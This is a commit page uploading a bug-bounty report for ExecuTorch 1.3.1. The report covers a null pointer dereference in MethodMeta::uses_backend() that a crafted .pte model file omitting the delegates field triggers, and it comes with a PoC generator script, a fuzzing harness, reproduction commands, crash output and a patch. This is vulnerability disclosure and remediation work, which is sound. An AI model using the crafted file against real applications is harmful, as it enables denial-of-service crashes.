tsk-arasu commited on
Commit
3bfbf53
·
verified ·
1 Parent(s): e8f9de1

Upload folder using huggingface_hub

Browse files
REPORT.md ADDED
@@ -0,0 +1,191 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Null Pointer Dereference in ExecuTorch MethodMeta::uses_backend() via Missing ExecutionPlan.delegates (.pte)
2
+
3
+ **Target:** ExecuTorch 1.3.1 (.pte, huntr Model File Vulnerability program)
4
+ **Severity:** Low-Medium (Denial of Service)
5
+ **CWE:** CWE-476 (NULL Pointer Dereference)
6
+ **Component:** `runtime/executor/method_meta.cpp`
7
+ **Authentication Required:** No — the only requirement is that a victim application loads an attacker-supplied `.pte` file and calls a documented public API.
8
+
9
+ ## Summary
10
+
11
+ `MethodMeta::uses_backend()` is a public API intended for applications to check whether a loaded method requires a specific backend before deciding how to dispatch it. It dereferences `ExecutionPlan.delegates` without checking it for null, even though this field is explicitly optional in the schema and the sibling function `num_backends()` three lines below correctly guards the exact same field. A `.pte` file with a well-formed `ExecutionPlan` that simply omits `delegates` passes both of ExecuTorch's verification levels (`InternalConsistency` and `Minimal`) and crashes any process that calls `uses_backend()` on it.
12
+
13
+ A second, independent null-deref exists in the same function on a different field: `BackendDelegate.id` is also optional, so a `.pte` whose `delegates` vector is present but contains an entry with no `id` triggers the same crash class one line later.
14
+
15
+ ## Vulnerability Details
16
+
17
+ `schema/program.fbs` defines `ExecutionPlan.delegates` and `BackendDelegate.id` as ordinary (non-required) fields:
18
+
19
+ ```
20
+ table ExecutionPlan {
21
+ ...
22
+ delegates: [BackendDelegate];
23
+ ...
24
+ }
25
+ table BackendDelegate {
26
+ id: string;
27
+ processed: BackendDelegateDataReference;
28
+ compile_specs: [CompileSpec];
29
+ }
30
+ ```
31
+
32
+ `runtime/executor/method_meta.cpp`:
33
+
34
+ ```cpp
35
+ bool MethodMeta::uses_backend(const char* backend_name) const {
36
+ ET_CHECK_MSG(backend_name, "backend name is null");
37
+ const auto delegates = s_plan_->delegates();
38
+ for (size_t i = 0; i < delegates->size(); i++) { // <-- delegates may be null
39
+ auto delegate = delegates->Get(i);
40
+ auto backend_name_len = std::strlen(backend_name);
41
+ auto delegate_id_len = delegate->id()->size(); // <-- delegate->id() may be null
42
+ if (backend_name_len == delegate_id_len &&
43
+ std::strncmp(delegate->id()->c_str(), backend_name, backend_name_len) == 0) {
44
+ return true;
45
+ }
46
+ }
47
+ return false;
48
+ }
49
+
50
+ size_t MethodMeta::num_backends() const {
51
+ const auto delegates = s_plan_->delegates();
52
+ return delegates ? delegates->size() : 0; // <-- correctly guarded, 3 lines below
53
+ }
54
+ ```
55
+
56
+ The presence of the correct guard in `num_backends()` proves this is an inconsistency, not an intentional assumption — the maintainers clearly know `delegates` can be absent; the check simply was not applied to `uses_backend()`.
57
+
58
+ Neither `Program::load()`'s `flatbuffers::Verifier` structural check nor `validate_program()`'s semantic check (which validates `values`/tensor fields, not `ExecutionPlan.delegates`) nor `Program::method_meta()`'s own explicit field checks (`name`, `non_const_buffer_sizes`, `inputs`, `outputs` only) cover this field. A file omitting `delegates` is fully legal per the schema and loads cleanly under **both** verification levels.
59
+
60
+ ## Steps to Reproduce
61
+
62
+ ### Environment
63
+ - Linux x86-64, ExecuTorch 1.3.1 source, clang-16, CMake, Ninja
64
+ - No authentication, no host access — only the ability to supply a `.pte` file to a process that calls `MethodMeta::uses_backend()`
65
+
66
+ ### 1. Build ExecuTorch with sanitizers
67
+
68
+ Same build as REPORT-01/02 Step 1. No additional flags needed — `executorch_core` (which contains `method_meta.cpp`) is part of the default target set.
69
+
70
+ ### 2. Build the PoC harness (`poc/harness_program_fuzzer.cpp`, included in this report)
71
+
72
+ ```bash
73
+ export ET_PARENT=/path/to/parent-of-executorch
74
+ C10_INC="$ET_SRC/runtime/core/portable_type/c10"
75
+ INCLUDES="-I$ET_PARENT -I$ET_BUILD -I$ET_BUILD/schema/include -I$ET_BUILD/extension/flat_tensor/include -I$ET_BUILD/third-party/flatc_ep/include -I$C10_INC"
76
+
77
+ clang++-16 -std=c++17 -fsanitize=fuzzer,address,undefined -fno-omit-frame-pointer -fno-sanitize-recover=all \
78
+ $INCLUDES -DFLATBUFFERS_MAX_ALIGNMENT=1024 -DC10_USING_CUSTOM_GENERATED_MACROS \
79
+ -c poc/harness_program_fuzzer.cpp -o harness.o
80
+
81
+ clang++-16 -fsanitize=fuzzer,address,undefined -o poc_harness harness.o \
82
+ "$ET_BUILD/extension/data_loader/libextension_data_loader.a" \
83
+ "$ET_BUILD/libexecutorch_core.a"
84
+ ```
85
+
86
+ The harness calls `Program::load()` under both `InternalConsistency` and `Minimal` verification, then for every loaded method calls the full `MethodMeta` API surface including `uses_backend("XNNPACK")`, `num_backends()`, and `get_backend_name()` — matching how a real application inspects a loaded program before dispatch.
87
+
88
+ ### 3. Generate the PoC .pte file
89
+
90
+ ```bash
91
+ python3 poc/gen_poc.py "$ET_SRC/schema" "$ET_BUILD/third-party/flatc_ep/bin/flatc"
92
+ ```
93
+
94
+ This produces `poc/poc_uses_backend_null_deref.pte` (200 bytes, **included in this report — sha256 `128498fe87ac5be3bfac96e4e1ddd359dba52e37c253da29372ab4d183e47b05`**), a well-formed `.pte` with:
95
+ - One `ExecutionPlan` named `"forward"`, with empty `values`/`inputs`/`outputs`/`chains`/`operators`, `non_const_buffer_sizes = [0]`
96
+ - A minimal `constant_segment` (required because this build disables the deprecated `constant_buffer` path via `-DET_ENABLE_DEPRECATED_CONSTANT_BUFFER=0` in `CMakeLists.txt`, even for a program with zero constants)
97
+ - **`delegates` field entirely omitted**
98
+
99
+ > **Note on why `constant_segment` is needed even for this trivial PoC:** ExecuTorch 1.3.1's build disables the legacy `constant_buffer` storage path. Without a `constant_segment`, `Program::load()` fails at an earlier, unrelated check (`Error::InvalidProgram`, "relies on the constant_buffer path, which is disabled") before ever reaching `method_meta()`. This is why the PoC includes a `constant_segment` with a single placeholder offset even though the program has no real constant data — this is a `.pte` file structure detail, not part of the vulnerability itself.
100
+
101
+ ### 4. Trigger the crash
102
+
103
+ ```bash
104
+ export ASAN_OPTIONS="abort_on_error=1:symbolize=0"
105
+ export UBSAN_OPTIONS="halt_on_error=1:print_stacktrace=0"
106
+ ./poc_harness -timeout=5 -runs=0 poc/poc_uses_backend_null_deref.pte
107
+ ```
108
+
109
+ ### Expected result (secure behavior)
110
+ `MethodMeta::uses_backend("XNNPACK")` should return `false` (no backend used), matching the correct behavior already implemented in the neighboring `num_backends()`.
111
+
112
+ ### Actual result
113
+
114
+ ```
115
+ Running: poc/poc_uses_backend_null_deref.pte
116
+ [dbg] IC program.ok()=1 num_methods=1
117
+ [dbg] Minimal program.ok()=1 num_methods=1
118
+ runtime/executor/method_meta.cpp:406:37: runtime error: member call on null pointer of type 'flatbuffers::Vector<flatbuffers::Offset<executorch_flatbuffer::BackendDelegate>>'
119
+ SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior runtime/executor/method_meta.cpp:406:37 in
120
+ ==<pid>== ERROR: libFuzzer: deadly signal
121
+ ```
122
+
123
+ The `[dbg]` lines (from the harness's built-in debug output) confirm the file loads successfully under **both** `Program::Verification::InternalConsistency` and `Program::Verification::Minimal` — proving neither verification level catches this. The crash occurs only once `uses_backend()` is called.
124
+
125
+ **Reproduced 3/3 identical runs** (re-verified live for this report):
126
+ ```
127
+ run 1: IC program.ok()=1 num_methods=1 / Minimal program.ok()=1 num_methods=1 / crash at method_meta.cpp:406:37
128
+ run 2: (identical)
129
+ run 3: (identical)
130
+ ```
131
+
132
+ ## Second Independent Crash — Same Function, Different Field
133
+
134
+ Continued fuzzing of the same harness found a second, distinct null-deref inside `uses_backend()` itself: `delegate->id()->size()` at line 409, triggered when `delegates` is non-null but contains a `BackendDelegate` entry whose own `id` field is omitted (also legal per schema — `id: string;` is not required). Confirmed via UBSan:
135
+
136
+ ```
137
+ runtime/executor/method_meta.cpp:409:44: runtime error: member call on null pointer of type 'flatbuffers::Vector<char>'
138
+ ```
139
+
140
+ This is filed as supporting evidence for the same finding (not a separate report) because both crashes are in the same function with the same missing-validation defect class and the same fix location — the recommended fix below covers both.
141
+
142
+ ## Impact
143
+
144
+ **Who is affected:** Any application that calls `MethodMeta::uses_backend()` — a documented, intended-for-use public API — on a loaded `.pte` program. This is not a corner-case internal function; it exists specifically so applications can query backend requirements before dispatch.
145
+
146
+ **What the attacker can do:** Cause a deterministic, repeatable crash by supplying a `.pte` file whose `ExecutionPlan` simply omits the optional `delegates` field (or has a `delegates` entry with no `id`). The file loads successfully under both of ExecuTorch's verification levels — there is no existing defense that catches this before the crash.
147
+
148
+ **What's at risk:** Availability of the process calling `uses_backend()`. In practice, this is likely to be called during normal model-loading/dispatch logic in any application that branches on backend availability, making this a realistic crash path for ordinary usage, not just a corner case an attacker has to work hard to trigger.
149
+
150
+ **Exploitation complexity:** No interaction beyond the victim loading the file and calling a standard API. Matches huntr MFV's "Denial of Service (DoS) attacks through malformed model files" category.
151
+
152
+ **Why not Critical:** Controlled null-pointer dereference on a flatbuffers accessor — no memory corruption, no code execution, no data disclosure.
153
+
154
+ ## Suggested Remediation
155
+
156
+ In `MethodMeta::uses_backend()` (method_meta.cpp lines 403–417):
157
+
158
+ ```cpp
159
+ bool MethodMeta::uses_backend(const char* backend_name) const {
160
+ ET_CHECK_MSG(backend_name, "backend name is null");
161
+ const auto delegates = s_plan_->delegates();
162
+ if (delegates == nullptr) {
163
+ return false;
164
+ }
165
+ for (size_t i = 0; i < delegates->size(); i++) {
166
+ auto delegate = delegates->Get(i);
167
+ if (delegate == nullptr || delegate->id() == nullptr) {
168
+ continue;
169
+ }
170
+ auto backend_name_len = std::strlen(backend_name);
171
+ auto delegate_id_len = delegate->id()->size();
172
+ if (backend_name_len == delegate_id_len &&
173
+ std::strncmp(delegate->id()->c_str(), backend_name, backend_name_len) == 0) {
174
+ return true;
175
+ }
176
+ }
177
+ return false;
178
+ }
179
+ ```
180
+
181
+ This mirrors the guard pattern already correctly implemented in `num_backends()` immediately below. A regression test should build an `ExecutionPlan` with `delegates` omitted, and separately one with a `BackendDelegate` entry lacking `id`, asserting `uses_backend()` returns `false` cleanly in both cases rather than crashing.
182
+
183
+ ## Files Included in This Report
184
+
185
+ - `poc/poc_uses_backend_null_deref.pte` — the 200-byte PoC file (sha256 `128498fe87ac5be3bfac96e4e1ddd359dba52e37c253da29372ab4d183e47b05`)
186
+ - `poc/gen_poc.py` — deterministic script to regenerate the exact same PoC file from ExecuTorch's own `program.fbs` schema (verified byte-for-byte identical output)
187
+ - `poc/harness_program_fuzzer.cpp` — the harness used to trigger and reproduce the crash against the real public API, including the debug instrumentation that proves both verification levels accept the file
188
+
189
+ ## huntr Submission Note
190
+
191
+ Per the huntr MFV program's submission requirements, this PoC needs to be uploaded to a public HuggingFace repository before filing. `poc/poc_uses_backend_null_deref.pte` is ready for that upload.
poc/gen_poc.py ADDED
@@ -0,0 +1,75 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ Generates poc_uses_backend_null_deref.pte — a well-formed .pte (Program) file
4
+ with one ExecutionPlan ("forward") that omits the optional `delegates` field.
5
+
6
+ Requires: flatc (built from the ExecuTorch source tree's vendored
7
+ third-party/flatbuffers) and the project's schema/program.fbs +
8
+ schema/scalar_type.fbs files.
9
+
10
+ Note: this build's CMakeLists.txt sets -DET_ENABLE_DEPRECATED_CONSTANT_BUFFER=0,
11
+ so a minimal valid .pte must use the `constant_segment` field (not the
12
+ deprecated `constant_buffer` field) even for a program with no constants.
13
+
14
+ Usage:
15
+ python3 gen_poc.py /path/to/executorch/schema /path/to/flatc
16
+ """
17
+ import os
18
+ import shutil
19
+ import subprocess
20
+ import sys
21
+
22
+
23
+ PROGRAM_JSON = """{
24
+ "version": 0,
25
+ "execution_plan": [
26
+ {
27
+ "name": "forward",
28
+ "values": [],
29
+ "inputs": [],
30
+ "outputs": [],
31
+ "chains": [],
32
+ "operators": [],
33
+ "non_const_buffer_sizes": [0]
34
+ }
35
+ ],
36
+ "segments": [
37
+ { "offset": 0, "size": 0 }
38
+ ],
39
+ "constant_segment": {
40
+ "segment_index": 0,
41
+ "offsets": [0]
42
+ }
43
+ }
44
+ """
45
+
46
+
47
+ def build(schema_dir: str, flatc: str, out_path: str) -> None:
48
+ workdir = os.path.dirname(os.path.abspath(out_path)) + "/_gen_tmp"
49
+ os.makedirs(workdir, exist_ok=True)
50
+ try:
51
+ for fname in ("program.fbs", "scalar_type.fbs"):
52
+ shutil.copy(os.path.join(schema_dir, fname), os.path.join(workdir, fname))
53
+
54
+ json_path = os.path.join(workdir, "program.json")
55
+ with open(json_path, "w") as f:
56
+ f.write(PROGRAM_JSON)
57
+
58
+ subprocess.run(
59
+ [flatc, "--binary", "program.fbs", "program.json"],
60
+ cwd=workdir,
61
+ check=True,
62
+ )
63
+
64
+ produced = os.path.join(workdir, "program.pte")
65
+ shutil.copy(produced, out_path)
66
+ print(f"Wrote {out_path} ({os.path.getsize(out_path)} bytes)")
67
+ finally:
68
+ shutil.rmtree(workdir, ignore_errors=True)
69
+
70
+
71
+ if __name__ == "__main__":
72
+ if len(sys.argv) != 3:
73
+ print(__doc__)
74
+ sys.exit(1)
75
+ build(sys.argv[1], sys.argv[2], os.path.join(os.path.dirname(__file__), "poc_uses_backend_null_deref.pte"))
poc/harness_program_fuzzer.cpp ADDED
@@ -0,0 +1,101 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ // libFuzzer harness for executorch::runtime::Program::load()
2
+ // Targets the .pte flatbuffer parsing path (runtime/executor/program.cpp).
3
+ // Authorized local testing only - huntr MFV scope: ExecuTorch .pte parser.
4
+
5
+ #include <cstddef>
6
+ #include <cstdint>
7
+
8
+ #include <executorch/extension/data_loader/buffer_data_loader.h>
9
+ #include <executorch/runtime/executor/program.h>
10
+ #include <executorch/runtime/platform/runtime.h>
11
+
12
+ using executorch::extension::BufferDataLoader;
13
+ using executorch::runtime::Program;
14
+
15
+ static bool g_initialized = false;
16
+
17
+ extern "C" int LLVMFuzzerTestOneInput(const std::uint8_t* data, std::size_t size) {
18
+ if (!g_initialized) {
19
+ executorch::runtime::runtime_init();
20
+ g_initialized = true;
21
+ }
22
+
23
+ constexpr std::size_t kMaxInput = 32U * 1024U * 1024U;
24
+ if (data == nullptr || size == 0 || size > kMaxInput) {
25
+ return 0;
26
+ }
27
+
28
+ BufferDataLoader loader(data, size);
29
+
30
+ // Try both verification levels - Minimal is the one used in perf-sensitive
31
+ // deployments and skips more validation than InternalConsistency.
32
+ auto program_ic = Program::load(&loader, Program::Verification::InternalConsistency);
33
+ if (getenv("ET_FUZZ_DEBUG")) {
34
+ fprintf(stderr, "[dbg] IC program.ok()=%d", program_ic.ok());
35
+ if (!program_ic.ok()) {
36
+ fprintf(stderr, " error=0x%x", static_cast<unsigned int>(program_ic.error()));
37
+ } else {
38
+ fprintf(stderr, " num_methods=%zu", program_ic.get().num_methods());
39
+ }
40
+ fprintf(stderr, "\n");
41
+ BufferDataLoader loader2(data, size);
42
+ auto program_min = Program::load(&loader2, Program::Verification::Minimal);
43
+ fprintf(stderr, "[dbg] Minimal program.ok()=%d", program_min.ok());
44
+ if (!program_min.ok()) {
45
+ fprintf(stderr, " error=0x%x", static_cast<unsigned int>(program_min.error()));
46
+ } else {
47
+ fprintf(stderr, " num_methods=%zu", program_min.get().num_methods());
48
+ }
49
+ fprintf(stderr, "\n");
50
+ }
51
+ if (program_ic.ok()) {
52
+ // Touch metadata to exercise more of the parsing surface.
53
+ auto& p = program_ic.get();
54
+ auto n = p.num_methods();
55
+ for (size_t i = 0; i < n; ++i) {
56
+ auto name = p.get_method_name(i);
57
+ if (name.ok()) {
58
+ auto meta = p.method_meta(name.get());
59
+ if (meta.ok()) {
60
+ auto& m = meta.get();
61
+ (void)m.name();
62
+ (void)m.num_inputs();
63
+ (void)m.num_outputs();
64
+ (void)m.num_attributes();
65
+ (void)m.num_memory_planned_buffers();
66
+ (void)m.num_instructions();
67
+ // uses_backend()/num_backends()/get_backend_name() exercise the
68
+ // ExecutionPlan::delegates() optional field - not guarded against
69
+ // null in uses_backend() per source review.
70
+ (void)m.uses_backend("XNNPACK");
71
+ (void)m.uses_backend("");
72
+ size_t nb = m.num_backends();
73
+ for (size_t bi = 0; bi < nb; ++bi) {
74
+ (void)m.get_backend_name(bi);
75
+ }
76
+ size_t na = m.num_attributes();
77
+ for (size_t ai = 0; ai < na && ai < 64; ++ai) {
78
+ (void)m.attribute_tensor_meta(ai);
79
+ }
80
+ size_t ni = m.num_inputs();
81
+ for (size_t ii = 0; ii < ni && ii < 64; ++ii) {
82
+ (void)m.input_tag(ii);
83
+ (void)m.input_tensor_meta(ii);
84
+ }
85
+ size_t no = m.num_outputs();
86
+ for (size_t oi = 0; oi < no && oi < 64; ++oi) {
87
+ (void)m.output_tag(oi);
88
+ (void)m.output_tensor_meta(oi);
89
+ }
90
+ size_t nmb = m.num_memory_planned_buffers();
91
+ for (size_t mi = 0; mi < nmb && mi < 64; ++mi) {
92
+ (void)m.memory_planned_buffer_size(mi);
93
+ (void)m.memory_planned_buffer_device(mi);
94
+ }
95
+ }
96
+ }
97
+ }
98
+ }
99
+
100
+ return 0;
101
+ }
poc/poc_uses_backend_null_deref.pte ADDED
Binary file (200 Bytes). View file